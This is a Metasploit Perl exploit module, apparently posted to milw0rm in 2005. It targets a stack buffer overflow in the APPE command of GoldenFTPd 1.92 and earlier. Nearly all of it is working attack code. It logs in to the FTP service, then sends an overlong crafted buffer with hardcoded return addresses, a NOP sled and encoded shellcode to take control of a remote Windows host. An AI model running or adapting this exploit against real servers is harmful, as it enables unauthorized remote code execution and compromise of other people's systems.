Golden FTP Server 1.92 - 'APPE' Remote Overflow (Metasploit)

##
# Written by Tim Shelton [redsand@redsand.net]
# GoldenFTPd 
##

package Msf::Exploit::goldenftpd_appe;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'     => 'GoldenFTPd APPE <= 1.92 Stack Overflow',
	'Version'  => '$Revision: 1.0 $',
	'Authors'  => [ 'Tim Shelton <redsand [at] redsand.net>', ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
	'Priv'  => 0,

	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 21],
		'USER'  => [1, 'DATA', 'Username', 'anonymous'],
		'PASS'  => [1, 'DATA', 'Password', 'metasploit@'],
	  },

	'Payload'  =>
	  {
		'Space' => 400,
		'BadChars'  => "\x00\x0a\x0d\x20",
		'Keys' => ['+ws2ord'],
	  },

	'Description'  =>  Pex::Text::Freeform(qq{
		This module exploits a stack overflow in the GoldenFTPd
	server. The flaw is triggered when a APPE command is received
	with a specially crafted overly-long argument. This vulnerability 
	affects all versions of GoldenFTPd prior to 1.92 and was discovered by
	Tim Shelton.
}),

	'Refs'  =>
	  [
		['RED-NET',   '2005-11-14-01'],
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
		['GoldenFTPd Server <= 1.92 Universal', 0x99998888, 0x11111111, 0x98d855eb, 0x0044395F], 
	  ],

	'Keys'  => ['goldenftp'],

	'DisclosureDate' => 'NONE',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	if (! $self->InitNops(30)) {
		$self->PrintLine("[*] Failed to initialize the NOP module.");
		return;
	}

#	my $shellcode = "\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe";


	my $evil = ("APPE /");
	$evil .= ("A/")x120;

	$evil .= (pack("V",$target->[3])) x 4;
	$evil .= (pack("V",$target->[1]) . pack("V",$target->[2]) . pack("V",$target->[4]) . pack("V", $target->[1]) ) x 4;
	$evil .= $self->MakeNops(30);
	$evil .= $shellcode;
	$evil .= "\x0a\x0d";

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
	  );

	$self->PrintLine(sprintf ("[*] Universal GoldenFTPd 1.93 Exploit by redsand\n"));

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[4]));

	my $r = $s->Recv(-1, 30);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
	$self->PrintLine("[*] $r");

	$self->PrintLine("[*] Login as " .$self->GetVar('USER'). "/" .$self->GetVar('PASS'));
	$s->Send("USER ".$self->GetVar('USER')."\r\n");
	$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

	$s->Send("PASS ".$self->GetVar('PASS')."\r\n");
	$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }

	$self->PrintLine("[*] Sending evil buffer....");
	$s->Send($evil);
	$r = $s->Recv(-1, 10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print("[*] $r");
	return;
}

# milw0rm.com [2005-12-20]